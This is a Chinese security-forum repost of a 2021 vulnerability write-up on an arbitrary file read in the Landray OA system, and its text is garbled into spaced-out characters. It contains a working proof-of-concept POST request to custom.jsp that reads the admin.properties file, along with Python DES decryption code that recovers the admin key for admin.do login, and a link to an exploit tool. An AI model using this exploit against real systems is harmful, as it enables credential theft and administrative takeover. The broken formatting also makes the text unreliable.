[772] 2021-05-14_X凌OA系统任意文件读取-DES解密

文档创建者:s7ckTeam
浏览次数:7
最后更新:2025-01-16
2021-05-14_X凌OA系统任意文件读取-DES解密 X O A - D E S b g b i n g   2 0 2 1 - 0 5 - 1 4 t h e l o s t w o r l d   t h e l o s t w o r l d X O A - D E S O A ( E K P ) O A   O A   c u s t o m . j s p     t h e l o s t w o r l d   .   - / W E B - I N F / K m s s C o n f i g / a d m i n . p r o p e r t i e s
P O C D E S   k m s s A d m i n K e y 访 h t t p : / / 1 2 7 . 0 . 0 . 1 / a d m i n . d o P O S T   / s y s / u i / e x t e n d / v a r k i n d / c u s t o m . j s p   H T T P / 1 . 1 H o s t :   1 2 7 . 0 . 0 . 1 U s e r - A g e n t :   G o - h t t p - c l i e n t / 1 . 1 C o n t e n t - L e n g t h :   6 0 C o n t e n t - T y p e :   a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d A c c e p t - E n c o d i n g :   g z i p v a r = { " b o d y " : { " f i l e " : " / W E B - I N F / K m s s C o n f i g / a d m i n . p r o p e r t i e s " } }
P O C D E S
k e y V a l u e E r r o r :   I n v a l i d   D E S   k e y   s i z e .   K e y   m u s t   b e   e x a c t l y   8   b y t e s   l o n g .   8 O K   h t t p s : / / g i t h u b . c o m / C r 4 y 0 n X X / L a n d r a y R e a d A n y F i l e ( ) ! d e f   d e c r y p t _ s t r ( s ) :   k   =   d e s ( D e s _ K e y ,   E C B ,   D e s _ I V ,   p a d = N o n e ,   p a d m o d e = P A D _ P K C S 5 )   d e c r y s t r   =   k . d e c r y p t ( b a s e 6 4 . b 6 4 d e c o d e ( s ) )   p r i n t ( d e c r y s t r )   r e t u r n   d e c r y p t _ s t r
t h e l o s t w o r l d h t t p s : / / w w w . z h i h u . c o m / p e o p l e / f u - w e i - 4 3 - 6 9 / c o l u m n s h t t p s : / / w w w . j i a n s h u . c o m / u / b f 0 e 3 8 a 8 d 4 0 0 C S D N h t t p s : / / b l o g . c s d n . n e t / q q _ 3 7 6 0 2 7 9 7 / c a t e g o r y _ 1 0 1 6 9 0 0 6 . h t m l h t t p s : / / w w w . c n b l o g s . c o m / t h e l o s t w o r l d / F R E E B U F h t t p s : / / w w w . f r e e b u f . c o m / a u t h o r / t h e l o s t w o r l d ? t y p e = a r t i c l e h t t p s : / / w w w . y u q u e . c o m / t h e l o s t w o r l d
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则